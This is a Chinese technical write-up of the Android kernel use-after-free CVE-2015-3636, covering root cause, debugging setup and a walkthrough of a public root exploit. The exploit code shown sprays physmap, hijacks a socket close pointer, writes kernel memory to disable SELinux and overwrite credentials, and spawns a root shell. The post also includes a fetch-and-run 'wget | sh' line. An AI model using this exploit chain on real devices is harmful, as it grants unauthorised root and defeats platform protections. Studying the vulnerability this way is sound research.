CVE-2015-3636 Android核心 UAF漏洞分析
前言
去年差不多這個時候就計劃把這個漏洞給分析了,由於android沒有經常搞,所以踩了很多坑,中間一度因為各種原因停滯放棄,最近遇到一個事情讓我下定決心把它了結,也算是解決一個心病。過程會寫詳細一點,給和我一樣的初學朋友提供點幫助。這個漏洞keen在blackhat上講過[8],是一個很經典的android核心漏洞,也是第一個64bit root,還是很有學習價值的。分析android核心的漏洞需要自己下載android原始碼和核心原始碼,reverse patch,編譯除錯。吾愛破解有個比賽就是寫這個漏洞的exploit,並且還提供了相應的環境[3],所以我偷了個懶,直接拿過來用就行了。exploit我在github上也直接找了一份現成的[11],經我測試可用。
漏洞原理
其實很多文章都對漏洞原理描述很清楚了,為了文章完整性我再贅述一下。補丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。
這行程式碼其實就是把node->pprev設定成了NULL。
static __inline__ void sk_nulls_node_init(struct hlist_nulls_node *node)
{
node->pprev = NULL;
}
我們再看看keen給的POC。
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
struct sockaddr addr = { .sa_family = AF_INET };
int ret = connect(sockfd, &addr, sizeof(addr));
struct sockaddr _addr = { .sa_family = AF_UNSPEC };
ret = connect(sockfd, &_addr, sizeof(_addr));
ret = connect(sockfd, &_addr, sizeof(_addr));
把核心原始碼下載下來看看。
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/common.git
git checkout remotes/origin/android-3.4 -b android-3.4
當呼叫socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)建立socket再呼叫connect時,在核心中呼叫到了inet_dgram_connect。
int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;
if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags);
if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;
return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);
如果sa_family == AF_UNSPEC會根據協議型別呼叫相應的disconnect routine,對於PROTO_ICMP來說是udp_disconnect。
int udp_disconnect(struct sock *sk, int flags)
{
struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/
sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);
if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk);
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}
EXPORT_SYMBOL(udp_disconnect);
最終會呼叫到ping_unhash。
void ping_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) {
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sk_nulls_node_init(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}
EXPORT_SYMBOL_GPL(ping_unhash);
如果sk_hashed條件成立則會呼叫hlist_nulls_del在一個雙向連結串列hlist中刪除sk_nulls_node。
static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
if (!is_a_nulls(next))
next->pprev = pprev;
}
static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{
__hlist_nulls_del(n);
n->pprev = LIST_POISON2;
}
當n也就是sk_nulls_node被刪除之後n->pprev被設定為LIST_POISON2,它的值是固定的0x200200。我們看一下第二次connect的時候sk_hashed條件是否成立。
static inline int sk_unhashed(const struct sock *sk)
{
return hlist_unhashed(&sk->sk_node);
}
static inline int sk_hashed(const struct sock *sk)
{
return !sk_unhashed(sk);
}
static inline int hlist_unhashed(const struct hlist_node *h)
{
return !h->pprev;
}
這裡注意sk_node和sk_nulls_node共用了一個union,兩者的定義也十分類似,似乎有一點型別混淆的感覺。
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
union {
struct hlist_node skc_node;
struct hlist_nulls_node skc_nulls_node;
};
struct hlist_node {
struct hlist_node *next, **pprev;
};
struct hlist_nulls_node {
struct hlist_nulls_node *next, **pprev;
};
所以雖然設定的是sk_nulls_node->pprev判斷的是sk_node->pprev但是實際上是一個東西,sk_hashed條件成立,再次刪除已經刪除的物件,執行*pprev = next時pprev已經是0x200200了,如果這個地址沒有對映到使用者態就會kernel panic。poc中第一次AF_INET的connect是為了將sk加入hlist中。下面就是poc的效果。
這裡Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200,可能出題的人在這裡修改了一下。我們在IDA裡面看看。如果採取自己編譯除錯的方式是可以載入vmlinux符號檔案的,這裡我們就只能自己從機器上得到函式地址和名稱然後載入到IDA中了。把Image拖到IDA64中,Process type選擇ARM Little-endian [ARM]。
把ROM start address和Loading address設定為0xFFFFFFC000080000(32位系統就是0xC0008000)。Android 8.0中才為4.4及以後的核心引入了KASLR,很顯然我們這裡沒有KASLR,這個值是固定的。
選擇64-bit code。
這個時候IDA是什麼也識別不出來的,因為Image檔案並不是一個ELF,用binwalk看一下就會發現其實它組成還挺複雜的。我們接下來從執行的虛擬機器中匯出核心函式名稱和地址。在ubuntu這樣的發行版和android核心中有Kernel Address Display Restriction,所以先把它關掉。
sh -c " echo 0 > /proc/sys/kernel/kptr_restrict"
cat /proc/kallsyms > /data/local/tmp/1.txt
adb pull /data/local/tmp/1.txt
寫一個簡單的指令碼把這些函式名載入到IDA裡面。
ksyms = open("D:\\1.txt")
for line in ksyms:
addr = int(line[0:16],16)
name = line[19:].replace('_','')
name = line[19:].replace('\n','')
idc.MakeCode(addr)
idc.MakeFunction(addr)
idc.MakeName(addr,name)
Message("%08X:%s"%(addr,name))
出來的函式列表裡面只有ping_hash沒有ping_unhash,我們把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614處create function處理一下就可以了。
我們可以看到crash處0xFFFFFFC000409644和前後的程式碼。
ROM:FFFFFFC00040963C LDR X1, [X19,#0x38]
ROM:FFFFFFC000409640 LDR X0, [X19,#0x30]
ROM:FFFFFFC000409644 STR X0, [X1]
這三行程式碼對應原始碼中的下面這三行。
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
所以進一步確認了漏洞成因和我們前面所分析的一樣。如何讓IDA分析Image講的有點多了,主要參考了[1]和[4]。接下來還是回到正題,既然說這是一個UAF漏洞那麼哪裡UAF了呢?在hlist_nulls_del之後還有一個sock_put。
/* Ungrab socket and destroy it, if it was the last reference. */
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt))
sk_free(sk);
}
sock_put將sk的引用計數減1,並且判斷其值是否為0,如果為0的話就free掉sk。可以想到最後一次connect進入本不該進入的if分支之後如果我們提前mmap了0x200200(這裡是0x1360)就不會崩潰,接下來進入sock_put,引用計數變成0,sk被free掉,但是檔案描述符還在使用者空間,這就造成了UAF。
除錯過程
我們可以先測一下這個EXP。不過要注意的是必須用adb shell過去然後su shell才能繼承root的許可權得到建立socket的許可權。測試發現這個EXP確實是可用的,下面就開始除錯。
我除錯時的命令如下。
./qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel Image -initrd /home/hjy/Desktop/android-problem-env/ramdisk.img -drive index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios -gdb tcp::1234,ipv4 –S
這裡又有一個很坑的地方,用NDK裡面的gdb去除錯會報Remote 'g' packet reply is too long,需要我們自己修改gdb原始碼並且編譯[9]。
git clone https://android.googlesource.com/toolchain/gdb.git
下載下來發現有gdb-7.11和gdb-8.0.1兩個資料夾,由於pwndbg和GEF等外掛目前好像還不支援gdb 8.x,所以我們選擇gdb-7.11。找到gdb-7.11/gdb目錄下的remote.c檔案,註釋掉這兩行。
if (buf_len > 2 * rsa->sizeof_g_packet)
error (_(“Remote ‘g’ packet reply is too long: %s”), rs->buf);
在後面加上下面這幾行。
if (buf_len > 2 * rsa->sizeof_g_packet)
{
rsa->sizeof_g_packet = buf_len ;
for (i = 0; i < gdbarch_num_regs (gdbarch); i++)
{
if (rsa->regs[i].pnum == -1)
continue;
if (rsa->regs[i].offset >= rsa->sizeof_g_packet)
rsa->regs[i].in_g_packet = 0;
else
rsa->regs[i].in_g_packet = 1;
}
}
編譯安裝。
./configure --target=aarch64-linux-androideabi --prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux
make
make install
安裝GEF,因為很多人說pwndbg比較卡而GEF不卡。
wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
終於開始除錯了,不過還有一個小坑,我們應該用gef-remote -q localhost:1234也就是加上-q引數不然會報錯,原因在這裡[7]。接下來進入漏洞利用的部分。我們可以看到在main函式中整個漏洞觸發漏洞的過程和POC中一樣。
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
ret = connect(vultrig_socks[i], &addr1, sizeof(addr1));
system("echo 4096 > /proc/sys/vm/mmap_min_addr");
void* user_mm = mmap(PAGE_SIZE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
修改mmap_min_addr並mmap就是為了避免崩潰這樣才能執行到sock_put的邏輯。接下來的操作叫做physmap spray,大家如果對CVE-2014-3153(towelroot)還有印象的話,會記得它是通過sendmmsg修改核心資料的,keen在文章中解釋了,通過sendmmsg完成堆噴的條件是存在漏洞的物件大小必須和SLAB分配器通常使用的大小一致。而在一些android裝置上,PING sock物件的大小是576,不是期望的512或者1024。這樣就很難對齊,利用會很不穩定,所以採用的是physmap spray的方法。
在核心中physmap在一個相對較高的地址,而SLAB通常在一個相對較低的地址,通過噴射其它的核心物件使得SLAB分配器在相對高的地址分配PING sock物件造成physmap和SLAB重疊,這個過程叫做lifting。這裡的“其它的核心物件”直接用PING sock物件其實就可以。
然後釋放掉用來做lifting的PING sock物件,和physmap重疊的那一部分則留做觸發漏洞。那麼怎樣才能知道什麼時候PING sock物件已經被physmap中的資料填充了可以停止噴射以及怎樣找到已經被填充的PING sock物件呢?在physmap spray中進行了大量的mmap操作,並且將mapped_page+0x1D8處賦值為MAGIC_VALUE+physmap_spray_pages_count,接下來search_exploitable_socket的時候用ioctl一個一個去試。
ioctl(exp_sock, SIOCGSTAMPNS, &time);
這裡的time是timespec結構體,會呼叫到sock_get_timestampns。
int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{
struct timespec ts;
if (!sock_flag(sk, SOCK_TIMESTAMP))
sock_enable_timestamp(sk, SOCK_TIMESTAMP);
ts = ktime_to_timespec(sk->sk_stamp);
if (ts.tv_sec == -1)
return -ENOENT;
if (ts.tv_sec == 0) {
sk->sk_stamp = ktime_get_real();
ts = ktime_to_timespec(sk->sk_stamp);
}
return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}
EXPORT_SYMBOL(sock_get_timestampns);
這個函式會返回sk->sk_stamp,在我們的環境中它在sock物件中的偏移正是0x1D8。
找到exp_sock之後因為它已經完全在我們的控制之中了,所以函式指標也是可控的,對其呼叫close函式就可以控制PC了。可以看到close是在inet_close中呼叫的。
int inet_release(struct socket *sock)
{
struct sock *sk = sock->sk;
if (sk) {
long timeout;
sock_rps_reset_flow(sk);
/* Applications forget to leave groups before exiting */
ip_mc_drop_socket(sk);
/* If linger is set, we don't return until the close
* is complete. Otherwise we return immediately. The
* actually closing is done the same either way.
*
* If the close is due to the process exiting, we never
* linger..
*/
timeout = 0;
if (sock_flag(sk, SOCK_LINGER) &&
!(current->flags & PF_EXITING))
timeout = sk->sk_lingertime;
sock->sk = NULL;
sk->sk_prot->close(sk, timeout);
}
return 0;
}
EXPORT_SYMBOL(inet_release);
找一下發現偏移是0x28,所以我們將payload+0x28設定為payload的地址,將payload開頭設定為0xFFFFFFC00035D788讓它跳到kernel_setsockopt。
*(unsignedlong*)((char*)payload +0x28) = (unsignedlong)payload;
*(unsignedlong*)((char*)payload) = (unsignedlong)0xFFFFFFC00035D788;
*(unsignedlong*)((char*)payload +0x68) = (unsignedlong)0xFFFFFFC00035D7C0;
close(exp_sock);
addr_limit規定了特定執行緒的使用者空間地址最大值,超過這個值的地址使用者空間程式碼不能訪問。所以把addr_limit改成0xffffffff就可以對核心為所欲為了。現在我們已經來到了kernel_setsockopt,應該怎麼改addr_limit呢?當核心需要去使用系統呼叫的時候就要去掉地址空間的限制,一般的流程是(1)oldfs=get_fs(),(2)set_fs(KERNEL_DS),(3)set_fs(oldfs),如果能繞過set_fs(oldfs)的執行,核心空間將一直對使用者態開啟,這樣就繞過了限制。
int kernel_setsockopt(struct socket *sock, int level, int optname,
char *optval, unsigned int optlen)
{
mm_segment_t oldfs = get_fs();
char __user *uoptval;
int err;
uoptval = (char __user __force *) optval;
set_fs(KERNEL_DS);
if (level == SOL_SOCKET)
err = sock_setsockopt(sock, level, optname, uoptval, optlen);
else
err = sock->ops->setsockopt(sock, level, optname, uoptval,
optlen);
set_fs(oldfs);
return err;
}
EXPORT_SYMBOL(kernel_setsockopt);
#define set_fs(x) (current_thread_info()->addr_limit = (x))
注意這裡因為我們控制了X0所以BLR X5跳過了STR X20, [X19,#8]。
截一張mosec2016上360冰刃實驗室講的《Android Root利用技術漫談:繞過PXN》[5]中的一張圖幫助理解。
現在可以任意讀寫核心了,下一步是修改全域性mmap_min_addr讓我們能夠在使用者態mmap null地址。
/*
overwrite the global variable mmap_min_addr to 0, then we can mmap NULL in user-mode
*/
data8 = 0;
kernel_write8((void *)0xffffffc000652148, &data8);
user_mm = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
if(MAP_FAILED == user_mm)
{
perror("[*] mmap NULL fail");
return -1;
}
這個地址應該怎麼找呢,注意到setup_arg_pages中有mmap_min_addr。
0xFFFFFFC00063EE9F+0x132A9=0xFFFFFFC000652148,就是這麼來的。接下來關掉selinux,方法同上。
/*
overwirte selinux_enforcing to disable selinux
*/
data4 = 0;
kernel_write4((void *)0xffffffc00065399c, &data4);
printf("[*] selinux disabled.\n");
在arm64系統上棧的最大深度為16K,所以unsigned long thread_info_addr=sp&0xFFFFFFFFFFFFC000。task結構體的偏移是0x10,我們再次呼叫close,通過下面這段gadget把task結構體的指標leak到0x0000000000000018(X1是0)。
*(unsigned long *)((char *)payload + 0x290) = 0;
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload;
*(unsigned long *)((char *)payload) = (unsigned long)0xFFFFFFC0004AA518;
close(exp_sock);
接下來改掉task_struct->cred,整個提權過程就完成了。
/*
overwrite task_struct->cred to gain root privilege
*/
task = NULL;
task = (void *)*(unsigned long *)((char *)user_mm + 0x18);
printf("[*] task:%p\n", task);
cred = NULL;
kernel_read8((char *)task + 0x398, &cred);
printf("[*] cred:%p\n", cred);
data4 = 0;
kernel_write4((char *)cred + 4, &data4);
kernel_write4((char *)cred + 8, &data4);
kernel_write4((char *)cred + 12, &data4);
kernel_write4((char *)cred + 16, &data4);
kernel_write4((char *)cred + 20, &data4);
kernel_write4((char *)cred + 24, &data4);
kernel_write4((char *)cred + 28, &data4);
kernel_write4((char *)cred + 32, &data4);
/*
cleanup to avoid crash. overwirte task_struct->files->fdt->max_fds to 0
*/
kernel_read8((char *)task + 0x788, &files);
printf("[*] files:%p\n", files);
kernel_read8((char *)files + 8, &fdt);
printf("[*] fdt:%p\n", fdt);
data4 = 0;
kernel_write4(fdt, &data4);
if(getuid() == 0)
{
printf("[*] congrats, enjoy your root shell.\n");
system("/system/bin/sh");
}
else
{
printf("[*] Oops, you'd better have a cup of tea and try again:(\n");
}
return 0;
希望我已經說清楚了所有涉及這個漏洞的知識,讀者能有所收穫。
參考資料
1.逆向ARM64核心zImage
2.Android Interals – Part 4
3.吾愛破解2016安全挑戰賽
4.從Android裝置中提取核心和逆向分析
5.Android Root利用技術漫談:繞過PXN
6.ret2dir: Deconstructing Kernel Isolation
7.https://github.com/hugsy/gef/issues/124
8.Own your Android! Yet Another Universal Root
9.重新編譯arm-linux-androideabi-gdb和gdbserver
https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326?diff=split
本文由看雪論壇 houjingyi 原創,轉載請註明來自看雪社群
相關文章
- iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying2019-11-17iOSAI
- Android uncovers master-key 漏洞分析2020-08-19AndroidAST
- Android DropBox SDK漏洞(CVE-2014-8889)分析2020-08-19Android
- 有隙可乘 - Android 序列化漏洞分析實戰2024-05-16Android
- Linux核心許可權提升漏洞“DirtyPipe”(CVE-2022-0847)分析2022-03-11Linux
- [翻譯]Windows Exploit開發教程第十三章Part5.IE10 UAF漏洞2019-03-07WindowsIE10
- CVE-2021-40449 NtGdiResetDC UAF2022-03-01
- Windows核心提權漏洞CVE-2014-4113分析報告2020-08-19Windows
- Android核心庫2018-11-06Android
- Android藍芽子系統"BlueFrag"漏洞分析(CVE-2020-0022)2020-02-14Android藍芽
- Android核心和Linux核心的區別2018-11-12AndroidLinux
- Android SecureRandom漏洞詳解2020-08-19Androidrandom
- iOS冰與火之歌 – UAF and Kernel Pwn2020-08-19iOS
- 【漏洞分析】KaoyaSwap 安全事件分析2022-08-28事件
- CVE-2014-0038核心漏洞原理與本地提權利用程式碼實現分析2020-08-19
- JSON劫持漏洞分析2018-05-17JSON
- BlueKeep 漏洞利用分析2019-09-20
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析2020-07-02
- 三星Android OS加密漏洞分析:IV重用攻擊與降級攻擊2022-03-13Android加密
- PfSense命令注入漏洞分析2020-08-19
- SSRF漏洞簡單分析2020-07-16
- tp5漏洞分析2024-06-30
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- 谷歌稱macOS核心存在“嚴重”漏洞2019-03-04谷歌Mac
- 精準檢測Linux核心漏洞介紹2022-09-14Linux
- iPhone藍色畫面0day漏洞分析:播放影片觸發核心拒絕服務2020-08-19iPhone
- Hacking Team攻擊程式碼分析Part 3 : Adobe Font Driver核心驅動許可權提升漏洞2020-08-19
- Linux核心技術分析2020-04-07Linux
- YARN 核心原始碼分析2022-09-21Yarn原始碼
- toa 核心模組分析2022-03-14
- Android 學習筆記核心篇2019-01-22Android筆記
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- CVE-2017-8890漏洞分析2018-08-15
- Windows PrintDemon提權漏洞分析2020-05-25Windows
- 軟體漏洞分析技巧分享2020-08-19
- CVE-2015-1641漏洞分析2020-08-19
- 關於libStagefright系列漏洞分析2020-08-19
- CVE-2020-1362 漏洞分析2020-07-28